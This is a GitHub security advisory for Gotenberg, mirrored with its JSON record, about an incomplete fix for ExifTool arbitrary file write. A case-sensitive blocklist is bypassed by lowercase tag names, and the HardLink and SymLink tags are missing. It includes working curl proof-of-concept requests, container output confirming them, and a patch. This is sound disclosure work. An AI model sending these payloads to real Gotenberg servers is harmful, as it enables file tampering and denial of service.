GHSA-QMWH-9M9C-H36M
Vulnerability from github – Published: 2026-04-07 18:16 – Updated: 2026-04-07 18:16Summary
The fix for ExifTool arbitrary file write (commit 043b158, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the HardLink and SymLink pseudo-tags entirely.
Confirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API.
Root Cause
pkg/modules/exiftool/exiftool.go lines 231-237:
dangerousTags := []string{
"FileName", // Writing this triggers a file rename in ExifTool
"Directory", // Writing this triggers a file move in ExifTool
}
for _, tag := range dangerousTags {
delete(metadata, tag)
}
Go's delete(metadata, tag) is case-sensitive. It only removes the exact keys "FileName" and "Directory". ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like filename, FILENAME, directory all bypass the Go blocklist but ExifTool treats them identically.
The go-exiftool library passes tag names directly to ExifTool's stdin at line 258:
fmt.Fprintln(e.stdin, "-"+k+"="+str)
So filename becomes -filename=/attacker/path which ExifTool interprets as -FileName=/attacker/path.
The blocklist also omits two dangerous ExifTool pseudo-tags:
- HardLink: creates a hard link to the file at the specified path
- SymLink: creates a symbolic link to the file at the specified path
PoC
All three vectors confirmed against a running Gotenberg v8.29.1 Docker container.
Case-insensitive filename bypass (file moved to /tmp/evil_bypass.pdf):
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
-F files=@sample.pdf \
-F 'metadata={"filename": "/tmp/evil_bypass.pdf"}'
HardLink (hard link created at /tmp/hardlink_bypass.pdf):
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
-F files=@sample.pdf \
-F 'metadata={"HardLink": "/tmp/hardlink_bypass.pdf"}'
SymLink (symbolic link created at /tmp/symlink_bypass.pdf):
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
-F files=@sample.pdf \
-F 'metadata={"SymLink": "/tmp/symlink_bypass.pdf"}'
Verification inside the container:
$ docker exec gotenberg-poc ls -la /tmp/evil_bypass.pdf /tmp/hardlink_bypass.pdf /tmp/symlink_bypass.pdf
-rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/evil_bypass.pdf
-rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/hardlink_bypass.pdf
lrwxrwxrwx 1 gotenberg gotenberg 119 ... /tmp/symlink_bypass.pdf -> /tmp/.../source.pdf
Also confirmed ExifTool case-insensitivity directly:
exiftool -filename=bypassed.pdf test.pdf # Works identically to -FileName=
Impact
An attacker with access to the Gotenberg API (unauthenticated by default) can:
- Rename/move uploaded PDFs to arbitrary filesystem paths via lowercase
filename/directory - Create hard links at arbitrary paths via
HardLink, persisting data beyond temp directory cleanup - Create symbolic links at arbitrary paths via
SymLink
In containerized deployments, impact is limited to the container filesystem (DoS by overwriting temp files). In bare-metal deployments or those with shared volumes, this can affect other services.
Suggested Fix
Use case-insensitive comparison and expand the blocklist:
dangerousTags := []string{
"FileName",
"Directory",
"HardLink",
"SymLink",
}
for key := range metadata {
for _, tag := range dangerousTags {
if strings.EqualFold(key, tag) {
delete(metadata, key)
}
}
}
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.29.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/gotenberg/gotenberg/v8"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.30.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-07T18:16:22Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe fix for ExifTool arbitrary file write (commit `043b158`, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the `HardLink` and `SymLink` pseudo-tags entirely.\n\nConfirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API.\n\n## Root Cause\n\n`pkg/modules/exiftool/exiftool.go` lines 231-237:\n\n dangerousTags := []string{\n \"FileName\", // Writing this triggers a file rename in ExifTool\n \"Directory\", // Writing this triggers a file move in ExifTool\n }\n for _, tag := range dangerousTags {\n delete(metadata, tag)\n }\n\nGo\u0027s `delete(metadata, tag)` is case-sensitive. It only removes the exact keys `\"FileName\"` and `\"Directory\"`. ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like `filename`, `FILENAME`, `directory` all bypass the Go blocklist but ExifTool treats them identically.\n\nThe go-exiftool library passes tag names directly to ExifTool\u0027s stdin at line 258:\n\n fmt.Fprintln(e.stdin, \"-\"+k+\"=\"+str)\n\nSo `filename` becomes `-filename=/attacker/path` which ExifTool interprets as `-FileName=/attacker/path`.\n\nThe blocklist also omits two dangerous ExifTool pseudo-tags:\n- `HardLink`: creates a hard link to the file at the specified path\n- `SymLink`: creates a symbolic link to the file at the specified path\n\n## PoC\n\nAll three vectors confirmed against a running Gotenberg v8.29.1 Docker container.\n\n**Case-insensitive filename bypass (file moved to /tmp/evil_bypass.pdf):**\n\n curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n -F files=@sample.pdf \\\n -F \u0027metadata={\"filename\": \"/tmp/evil_bypass.pdf\"}\u0027\n\n**HardLink (hard link created at /tmp/hardlink_bypass.pdf):**\n\n curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n -F files=@sample.pdf \\\n -F \u0027metadata={\"HardLink\": \"/tmp/hardlink_bypass.pdf\"}\u0027\n\n**SymLink (symbolic link created at /tmp/symlink_bypass.pdf):**\n\n curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n -F files=@sample.pdf \\\n -F \u0027metadata={\"SymLink\": \"/tmp/symlink_bypass.pdf\"}\u0027\n\nVerification inside the container:\n\n $ docker exec gotenberg-poc ls -la /tmp/evil_bypass.pdf /tmp/hardlink_bypass.pdf /tmp/symlink_bypass.pdf\n -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/evil_bypass.pdf\n -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/hardlink_bypass.pdf\n lrwxrwxrwx 1 gotenberg gotenberg 119 ... /tmp/symlink_bypass.pdf -\u003e /tmp/.../source.pdf\n\nAlso confirmed ExifTool case-insensitivity directly:\n\n exiftool -filename=bypassed.pdf test.pdf # Works identically to -FileName=\n\n## Impact\n\nAn attacker with access to the Gotenberg API (unauthenticated by default) can:\n\n1. Rename/move uploaded PDFs to arbitrary filesystem paths via lowercase `filename`/`directory`\n2. Create hard links at arbitrary paths via `HardLink`, persisting data beyond temp directory cleanup\n3. Create symbolic links at arbitrary paths via `SymLink`\n\nIn containerized deployments, impact is limited to the container filesystem (DoS by overwriting temp files). In bare-metal deployments or those with shared volumes, this can affect other services.\n\n## Suggested Fix\n\nUse case-insensitive comparison and expand the blocklist:\n\n dangerousTags := []string{\n \"FileName\",\n \"Directory\",\n \"HardLink\",\n \"SymLink\",\n }\n for key := range metadata {\n for _, tag := range dangerousTags {\n if strings.EqualFold(key, tag) {\n delete(metadata, key)\n }\n }\n }",
"id": "GHSA-qmwh-9m9c-h36m",
"modified": "2026-04-07T18:16:22Z",
"published": "2026-04-07T18:16:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-qmwh-9m9c-h36m"
},
{
"type": "WEB",
"url": "https://github.com/gotenberg/gotenberg/commit/15050a311b73d76d8b9223bafe7fa7ba71240011"
},
{
"type": "PACKAGE",
"url": "https://github.com/gotenberg/gotenberg"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Gotenberg has incomplete fix for ExifTool arbitrary file write: case-insensitive bypass and missing HardLink/SymLink tags"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.